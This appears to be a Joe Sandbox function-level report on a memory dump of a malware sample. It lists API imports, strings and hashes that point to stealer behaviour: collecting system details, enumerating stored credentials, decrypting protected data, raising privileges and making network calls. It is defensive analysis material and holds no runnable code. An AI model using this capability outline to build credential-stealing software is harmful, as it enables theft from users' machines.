system, xrefs: 00000218BFBD23E4, 00000218BFBD24D3, 00000218BFBD25C9, 00000218BFBD26C3, 00000218BFBD280B, 00000218BFBD2905, 00000218BFBD29F8, 00000218BFBD2B7F, 00000218BFBD2D70, 00000218BFBD2FF1, 00000218BFBD31B4, 00000218BFBD33CE, 00000218BFBD356D, 00000218BFBD3717, 00000218BFBD37DD
timezone, xrefs: 00000218BFBD3414
user_name, xrefs: 00000218BFBD242F
gpu, xrefs: 00000218BFBD2522
time, xrefs: 00000218BFBD3041
%d-%m-%Y, %H:%M:%S, xrefs: 00000218BFBD2F5F
computer_name, xrefs: 00000218BFBD2954
[UTC, xrefs: 00000218BFBD1963
cpu, xrefs: 00000218BFBD2618

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: %d-%m-%Y, %H:%M:%S$[UTC$computer_name$cpu$gpu$ram$system$time$timezone$user_name
API String ID: 565725191-1610854563
Opcode ID: 9449ef4c8fbebb67dcfedb36010e1ff24175418aaaadfe970051ef0a00c87de4
Instruction ID: bcfcec1e1ba0777cee3a5d42ca7f36a21f3b59deb3ecbdcadbdebfbf5956c338
Opcode Fuzzy Hash: 9449ef4c8fbebb67dcfedb36010e1ff24175418aaaadfe970051ef0a00c87de4
Instruction Fuzzy Hash: 98237E73618BC486EB20CF25E8943DD77A1F7A9798F409215EA9D47B9ADF78C680C700

Function 00000218BFBD1FF0 Relevance: 22.5, APIs: 3, Strings: 9, Instructions: 1516COMMON

Download Yara Rule

APIs

Part of subcall function 00000218BFBD0C30: GetCurrentHwProfileW.ADVAPI32 ref: 00000218BFBD0C6C

Part of subcall function 00000218BFBD0500: EnumDisplayDevicesW.USER32 ref: 00000218BFBD0617
Part of subcall function 00000218BFBD0500: EnumDisplayDevicesW.USER32 ref: 00000218BFBD06BB

Part of subcall function 00000218BFBD0420: RegGetValueA.ADVAPI32 ref: 00000218BFBD0489

Part of subcall function 00000218BFBD0110: GetUserNameW.ADVAPI32 ref: 00000218BFBD0155

Part of subcall function 00000218BFBD01B0: GetComputerNameW.KERNEL32 ref: 00000218BFBD01F5

GlobalMemoryStatusEx.KERNEL32 ref: 00000218BFBD277C
wcsftime.LIBCMT ref: 00000218BFBD2F72
GetModuleFileNameA.KERNEL32 ref: 00000218BFBD3106

Strings

ram, xrefs: 00000218BFBD285B
system, xrefs: 00000218BFBD23E4, 00000218BFBD24D3, 00000218BFBD25C9, 00000218BFBD26C3, 00000218BFBD280B, 00000218BFBD2905, 00000218BFBD29F8, 00000218BFBD2B7F, 00000218BFBD2D70, 00000218BFBD2FF1, 00000218BFBD31B4, 00000218BFBD33CE, 00000218BFBD356D, 00000218BFBD3717, 00000218BFBD37DD
timezone, xrefs: 00000218BFBD3414
user_name, xrefs: 00000218BFBD242F
gpu, xrefs: 00000218BFBD2522
time, xrefs: 00000218BFBD3041
%d-%m-%Y, %H:%M:%S, xrefs: 00000218BFBD2F5F
computer_name, xrefs: 00000218BFBD2954
cpu, xrefs: 00000218BFBD2618

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Name$DevicesDisplayEnum$ComputerCurrentFileGlobalMemoryModuleProfileStatusUserValuewcsftime
String ID: %d-%m-%Y, %H:%M:%S$computer_name$cpu$gpu$ram$system$time$timezone$user_name
API String ID: 2509368203-1182675529
Opcode ID: ac15086096fe2e7ea63c59c9354845439d33d78b9b990f4932066cd85544c1a0
Instruction ID: f428d996064c00cf7485ac8f762c1de3329a47c95d9f9d1eba1c0eed95b9db69
Opcode Fuzzy Hash: ac15086096fe2e7ea63c59c9354845439d33d78b9b990f4932066cd85544c1a0
Instruction Fuzzy Hash: 1DF27B33618BC096DB20CF65E8943DD77A1F799798F409215EA9D87BAADF78C680C700

Function 00000218BFB8B820 Relevance: 20.1, APIs: 8, Strings: 3, Instructions: 862
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00000218BFB8B90C
GetProcAddress.KERNEL32 ref: 00000218BFB8BA17
GetProcAddress.KERNEL32 ref: 00000218BFB8BAD9
GetProcAddress.KERNEL32 ref: 00000218BFB8BB53
GetProcAddress.KERNEL32 ref: 00000218BFB8BBD5
GetProcAddress.KERNEL32 ref: 00000218BFB8BC4F
GetProcAddress.KERNEL32 ref: 00000218BFB8BCD3
FreeLibrary.KERNEL32 ref: 00000218BFB8C801

Strings

system, xrefs: 00000218BFB8C60D
cannot use push_back() with , xrefs: 00000218BFB8C84F
vault, xrefs: 00000218BFB8C663

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: cannot use push_back() with $system$vault
API String ID: 2449869053-1741236777
Opcode ID: 6ec01953fb94d6d865bcfee4734b6fd8f4fc47430b4055886f50ce092f786d41
Instruction ID: ebacd44eee53044c0b17c2ddc174d792209aacc7d95611cf25d00bc86474b893
Opcode Fuzzy Hash: 6ec01953fb94d6d865bcfee4734b6fd8f4fc47430b4055886f50ce092f786d41
Instruction Fuzzy Hash: B5926E72209BC489DB60CF29E8883DD73A4F799798F504216DB9D9BB99EF74C694C300

Function 00000218BFBC6480 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 173
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000218BFBC9760: GetCurrentProcess.KERNEL32 ref: 00000218BFBC979B
Part of subcall function 00000218BFBC9760: OpenProcessToken.ADVAPI32 ref: 00000218BFBC97AE
Part of subcall function 00000218BFBC9760: GetTokenInformation.ADVAPI32 ref: 00000218BFBC97EA

ExitProcess.KERNEL32 ref: 00000218BFBC64C7
OpenMutexA.KERNEL32 ref: 00000218BFBC65E2
ExitProcess.KERNEL32 ref: 00000218BFBC65F2
CreateMutexA.KERNEL32 ref: 00000218BFBC6611
ExitProcess.KERNEL32 ref: 00000218BFBC6637

Part of subcall function 00000218BFBC9AA0: GetModuleFileNameW.KERNEL32 ref: 00000218BFBC9AEA

Part of subcall function 00000218BFBD4740: CoInitializeEx.OLE32 ref: 00000218BFBD47AA

Strings

SeDebugPrivilege, xrefs: 00000218BFBC64CE
SeImpersonatePrivilege, xrefs: 00000218BFBC64DA

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Process$Exit$MutexOpenToken$CreateCurrentFileInformationInitializeModuleName
String ID: SeDebugPrivilege$SeImpersonatePrivilege
API String ID: 470559343-3768118664
Opcode ID: cd7fefbe807adf7c9ad34d63c6463c72688dbffd525261b722a8fc454c4cf6d4
Instruction ID: cd9afe1ee1fb5e216624990df3af03292d20d76a10c7516f29895cdfa22260ae
Opcode Fuzzy Hash: cd7fefbe807adf7c9ad34d63c6463c72688dbffd525261b722a8fc454c4cf6d4
Instruction Fuzzy Hash: 7261A47120CA8081FA20AB65E4DD7EF6351EBE5798F505915EACDC2AD7DF28CB84CB01

Function 00000218BFBF114C Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 335
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00000218BFBF1191

Part of subcall function 00000218BFBF07F8: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBF080C

Part of subcall function 00000218BFBEB550: HeapFree.KERNEL32 ref: 00000218BFBEB566
Part of subcall function 00000218BFBEB550: GetLastError.KERNEL32 ref: 00000218BFBEB570

Part of subcall function 00000218BFBF9D94: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBF9CDF

_get_daylight.LIBCMT ref: 00000218BFBF1180

Part of subcall function 00000218BFBF0858: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBF086C

_get_daylight.LIBCMT ref: 00000218BFBF13F6
_get_daylight.LIBCMT ref: 00000218BFBF1407
_get_daylight.LIBCMT ref: 00000218BFBF1418
GetTimeZoneInformation.KERNEL32 ref: 00000218BFBF143F

Strings

Eastern Summer Time, xrefs: 00000218BFBF14FD
Eastern Standard Time, xrefs: 00000218BFBF14E5

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 355007559-239921721
Opcode ID: 81739166be4aa7f83f73f8b5c4c772bb7cbf832f5b2b22088efdd0610fe74ccd
Instruction ID: e1791e8bbdd10847627da596fad09a13c2d46ebf429c6e9df8cb4a2e34107a35
Opcode Fuzzy Hash: 81739166be4aa7f83f73f8b5c4c772bb7cbf832f5b2b22088efdd0610fe74ccd
Instruction Fuzzy Hash: C2D1D73660825086EB20EF36D8D87ED67A1F764B8CF448525DE89C7A96DF38CE91C740

Function 00000218BFBCF200 Relevance: 13.9, APIs: 9, Instructions: 408
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 00000218BFBCF3CB
InternetOpenUrlA.WININET ref: 00000218BFBCF4A8
HttpQueryInfoW.WININET ref: 00000218BFBCF509
HttpQueryInfoW.WININET ref: 00000218BFBCF5A2
InternetQueryDataAvailable.WININET ref: 00000218BFBCF5E6
InternetReadFile.WININET ref: 00000218BFBCF6A9
InternetQueryDataAvailable.WININET ref: 00000218BFBCF774
InternetCloseHandle.WININET ref: 00000218BFBCF81E
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBCF87B

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Internet$Query$AvailableDataHttpInfoOpen$CloseConcurrency::cancel_current_taskFileHandleRead
String ID:
API String ID: 1475545111-0
Opcode ID: e8855195ea265ae84a133c33385b975d46d9f3ef8b7d910a33788403175075df
Instruction ID: 07fdc8e3321d1f21c4d279a183277aa52b8dcc4f43a9bdfe96a5a31f6480fb78
Opcode Fuzzy Hash: e8855195ea265ae84a133c33385b975d46d9f3ef8b7d910a33788403175075df
Instruction Fuzzy Hash: 3F02A132A18B9485EB10CF69E88439E77B4F795798F204615EE9C97FA8DF38C584C700

Function 00000218BFC0E968 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000218BFC0E54C: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFC0E58D
Part of subcall function 00000218BFC0E54C: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFC0E60B
Part of subcall function 00000218BFC0E54C: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFC0E65C

CreateFileW.KERNEL32 ref: 00000218BFC0EA6E
CreateFileW.KERNEL32 ref: 00000218BFC0EABE
GetLastError.KERNEL32 ref: 00000218BFC0EAEE
GetFileType.KERNEL32 ref: 00000218BFC0EB03
GetLastError.KERNEL32 ref: 00000218BFC0EB0D
CloseHandle.KERNEL32 ref: 00000218BFC0EB40
CloseHandle.KERNEL32 ref: 00000218BFC0ECA3
CreateFileW.KERNEL32 ref: 00000218BFC0ECD8
GetLastError.KERNEL32 ref: 00000218BFC0ECE7

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 484b9744f6cc28d441a3ba22cd2a9bb849a09fc1e06d845b9773f87c4c6ec638
Instruction ID: 1372b3342086d55fb2e0cc6e56c2e7c4f97c2afd9df85b98221bb335e2609624
Opcode Fuzzy Hash: 484b9744f6cc28d441a3ba22cd2a9bb849a09fc1e06d845b9773f87c4c6ec638
Instruction Fuzzy Hash: B4C1CE36728A5085EB10CFB9C4A87EC3761F799BACF051215DB2A977A5CF38C692C300

Function 00000218BFBC8F60 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 451
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32 ref: 00000218BFBC91A1
SetFilePointer.KERNEL32 ref: 00000218BFBC9254
ReadFile.KERNEL32 ref: 00000218BFBC9283

Strings

ios_base::failbit set, xrefs: 00000218BFBC96BD
exists, xrefs: 00000218BFBC970A
ios_base::badbit set, xrefs: 00000218BFBC96B1, 00000218BFBC972F
ios_base::eofbit set, xrefs: 00000218BFBC96C4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: File$PointerReadSize
String ID: exists$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 404940565-15404121
Opcode ID: affdc8d990f8177c4bd12a26e0f17cee26683ca6759411cf7414f1df89e439f9
Instruction ID: dd8a3dfc8033c450f60ead9740db3defa6e0a750aaf7b9a6c495573c53fb00b5
Opcode Fuzzy Hash: affdc8d990f8177c4bd12a26e0f17cee26683ca6759411cf7414f1df89e439f9
Instruction Fuzzy Hash: 3F321632618BC489EB20CF34D8947DD37A1F795B4CF508626DA8D97A99EF74CA89C700

Function 00000218BFBF13C8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00000218BFBF13F6

Part of subcall function 00000218BFBF0858: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBF086C

_get_daylight.LIBCMT ref: 00000218BFBF1407

Part of subcall function 00000218BFBF07F8: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBF080C

_get_daylight.LIBCMT ref: 00000218BFBF1418

Part of subcall function 00000218BFBF0828: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBF083C

Part of subcall function 00000218BFBEB550: HeapFree.KERNEL32 ref: 00000218BFBEB566
Part of subcall function 00000218BFBEB550: GetLastError.KERNEL32 ref: 00000218BFBEB570

GetTimeZoneInformation.KERNEL32 ref: 00000218BFBF143F

Strings

Eastern Summer Time, xrefs: 00000218BFBF14FD
Eastern Standard Time, xrefs: 00000218BFBF14E5

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 8c7917a29c397fa3200ed5a7405142a85cef7c6524de68c4b18d81a385570565
Instruction ID: 16ec0f56e2dd314ea022f11abed3061364d501c37b848e7350546edda49a1353
Opcode Fuzzy Hash: 8c7917a29c397fa3200ed5a7405142a85cef7c6524de68c4b18d81a385570565
Instruction Fuzzy Hash: 8F51B23221865086E710DF35E8D87DD7760F7A8B8CF445526EA89C7BA6DF38CA91CB40

Function 00000218BFBE749C Relevance: 9.2, APIs: 6, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE74BE
_get_daylight.LIBCMT ref: 00000218BFBE751E
_get_daylight.LIBCMT ref: 00000218BFBE752F
_get_daylight.LIBCMT ref: 00000218BFBE7540
_isindst.LIBCMT ref: 00000218BFBE7591
_isindst.LIBCMT ref: 00000218BFBE75E4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _get_daylight$_isindst$_invalid_parameter_noinfo
String ID:
API String ID: 1405656091-0
Opcode ID: 842d06e59cb7d0c874962108e89d6781c57040cb1ba9c53ec58eb2fa30030a5a
Instruction ID: bfea9a69057f8c2acf95db582a1a0468af53b3f5e9e998c9a76dc347809f8e05
Opcode Fuzzy Hash: 842d06e59cb7d0c874962108e89d6781c57040cb1ba9c53ec58eb2fa30030a5a
Instruction Fuzzy Hash: 6081F9B27042458BEB588F38C9893EC37A5E7647CCF149525DA19CB789EF38DA518B40

Function 00000218BFBD8B70 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBD8D24
__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBD8D32
__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBD8FB5
__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBD8FC3

Strings

value, xrefs: 00000218BFBD8C4A, 00000218BFBD8EE3

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: __std_exception_destroy
String ID: value
API String ID: 2453523683-494360628
Opcode ID: 24e98557fd3de6d7cc014377f0c68907832d3612fd4622e4c58e467f2ed64789
Instruction ID: 1561864220f6bd3289fe9da0cbfe0d0a6c8e24235238997e7f893815ac967d7a
Opcode Fuzzy Hash: 24e98557fd3de6d7cc014377f0c68907832d3612fd4622e4c58e467f2ed64789
Instruction Fuzzy Hash: 2202A336618BC086EB10CF74E4C83ED6761E7A57A8F505215FA9D83ADADF38C685C301

Function 00000218BFB8C8C0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 328processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00000218BFB8C90A
Process32FirstW.KERNEL32 ref: 00000218BFB8C94C
Process32NextW.KERNEL32 ref: 00000218BFB8CB43
CloseHandle.KERNEL32 ref: 00000218BFB8CDBA

Strings

[PID: , xrefs: 00000218BFB8C98E

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID: [PID:
API String ID: 420147892-2210602247
Opcode ID: dbeb01865e1e91274e06068612c7658427ca5b7a4fcb9feccc8b4e72984c5d65
Instruction ID: 9d6ec922ed0a5d94511d0068d1391e5177d2a82d41ee9296f3b58d8c72331484
Opcode Fuzzy Hash: dbeb01865e1e91274e06068612c7658427ca5b7a4fcb9feccc8b4e72984c5d65
Instruction Fuzzy Hash: 45E19172618BC086EB20DB25E8843DD77A5F3997A8F504215EA9D47BEADF38C784C700

Function 00000218BFBD5970 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00000218BFBD59BE
OpenProcessToken.ADVAPI32 ref: 00000218BFBD59D1
LookupPrivilegeValueW.ADVAPI32 ref: 00000218BFBD59F2
AdjustTokenPrivileges.ADVAPI32 ref: 00000218BFBD5A38
CloseHandle.KERNEL32 ref: 00000218BFBD5A58

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3038321057-0
Opcode ID: 29a02e95aae9899e0029659e102052f54fff5397b51cb33b914b83ea41570e5f
Instruction ID: b59d0e479f46a6955d55e64940415ec75dffcd5bf0142eed3239fb135fffd466
Opcode Fuzzy Hash: 29a02e95aae9899e0029659e102052f54fff5397b51cb33b914b83ea41570e5f
Instruction Fuzzy Hash: 99219432218B9086F760CF51F49879EB3A0F798B94F555125EA8D83B58DF7CCA85CB40

Function 00000218BFBCE9F0 Relevance: 6.4, APIs: 4, Instructions: 417networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00000218BFBCEBCC
recv.WS2_32 ref: 00000218BFBCF0AC
closesocket.WS2_32 ref: 00000218BFBCF0BE
WSACleanup.WS2_32 ref: 00000218BFBCF0C4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: recv$Cleanupclosesocket
String ID:
API String ID: 146070474-0
Opcode ID: 88e6c81b1b5bace096d133c2889b81d8965be35fdd25d4db3d0ec7a32f0f09d5
Instruction ID: ad0cce9f0f37b60d243275dc4b954fb0f6d444b04d5fe3411b3f28c55a7e315c
Opcode Fuzzy Hash: 88e6c81b1b5bace096d133c2889b81d8965be35fdd25d4db3d0ec7a32f0f09d5
Instruction Fuzzy Hash: 4F12927361CBC081EA21DB15E4983DF6761F7A9798F504611EAED83ADADF78CA84C700

Function 00000218BFB8ACC0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 671COMMON

Download Yara Rule

APIs

CredEnumerateA.ADVAPI32 ref: 00000218BFB8AD22
CredFree.ADVAPI32 ref: 00000218BFB8B746

Strings

cannot use push_back() with , xrefs: 00000218BFB8B794

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Cred$EnumerateFree
String ID: cannot use push_back() with
API String ID: 3403564193-4122110429
Opcode ID: 5cdbd958dc95d9ab355d103ed4b1d14ba4d67746ba7f73ca658fdebda1d47ebe
Instruction ID: ace4b183141e492afdcf2421868bc33eeeabfe67d6d7647a27ef65ad5edacb15
Opcode Fuzzy Hash: 5cdbd958dc95d9ab355d103ed4b1d14ba4d67746ba7f73ca658fdebda1d47ebe
Instruction Fuzzy Hash: 39625C72618BC489EB208F35E8843DD77A1F79979CF508215EAAD57B9ADF38C684C700

Function 00007FF7AA107FD0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA10822F
__std_exception_copy.LIBVCRUNTIME ref: 00007FF7AA108298

Strings

1.3.1.zlib-ng, xrefs: 00007FF7AA108038

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: __std_exception_copy_invalid_parameter_noinfo_noreturn
String ID: 1.3.1.zlib-ng
API String ID: 1109970293-992988628
Opcode ID: a76c52ca1100295dce4388bd63296ac4753b9ff7154bfa9c896794fd626aff6e
Instruction ID: d5bf18664ac7a10d647b8990f03d719d61c5eb03da7cb7b45c9d06857bc8068c
Opcode Fuzzy Hash: a76c52ca1100295dce4388bd63296ac4753b9ff7154bfa9c896794fd626aff6e
Instruction Fuzzy Hash: 2881C262F15B81D9F711EB70E4402AC7375EB94788F918236EE4D17BA9EE38D192C350

Function 00007FF7AA1015F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 00007FF7AA101645
NtProtectVirtualMemory.NTDLL ref: 00007FF7AA101698

Strings

0, xrefs: 00007FF7AA101623

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: MemoryVirtual$ProtectQuery
String ID: 0
API String ID: 1355999870-4108050209
Opcode ID: 1e8753ed2aab2ba12e738e60e9ac9591d6e3866d73b3672bb0ead951c35cddb0
Instruction ID: fe9c69fefd60f973641fa1bd3f741975f89a83711a283f1ffe1116b45a67ac5a
Opcode Fuzzy Hash: 1e8753ed2aab2ba12e738e60e9ac9591d6e3866d73b3672bb0ead951c35cddb0
Instruction Fuzzy Hash: CB115E22A1AF81C2FA519B15F850366B3A4FB987A4F515335EAAD027B4DF3CD0958B10

Function 00000218BFBC1EA0 Relevance: 3.1, APIs: 2, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 00000218BFBC1EF8
LocalFree.KERNEL32 ref: 00000218BFBC1F8A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: 534917215b691bdf8008ca3940d01222a19eb5e5d5bf9c8332b99172fc4e0cb2
Instruction ID: 9d4f7f52c3615a05796b21c72f45a32eb655fac55d1931cb4b1b1da3acebc22d
Opcode Fuzzy Hash: 534917215b691bdf8008ca3940d01222a19eb5e5d5bf9c8332b99172fc4e0cb2
Instruction Fuzzy Hash: 5C413932618B90CAE3208F74D4943DD37A4F76974CF445629EA8856E8ADF79C6A4C344

Function 00000218BFBD13B0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNEL32 ref: 00000218BFBD1421

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: 05563d9c9f8d9765ab942f76f343afa8ceddb3167ad04ffcdfa04968ca2d4d44
Instruction ID: 2d38ccde4be5d28f9a81410c9191fb7c5663dcc2e7e0b2af8b6fc319b2279d54
Opcode Fuzzy Hash: 05563d9c9f8d9765ab942f76f343afa8ceddb3167ad04ffcdfa04968ca2d4d44
Instruction Fuzzy Hash: 5D416D33A18B8482E710CF25E8843DEB774F794788F549215EA8863A69DF78D6D1DB40

Function 00000218BFBD0110 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00000218BFBD0155

Memory Dump Source

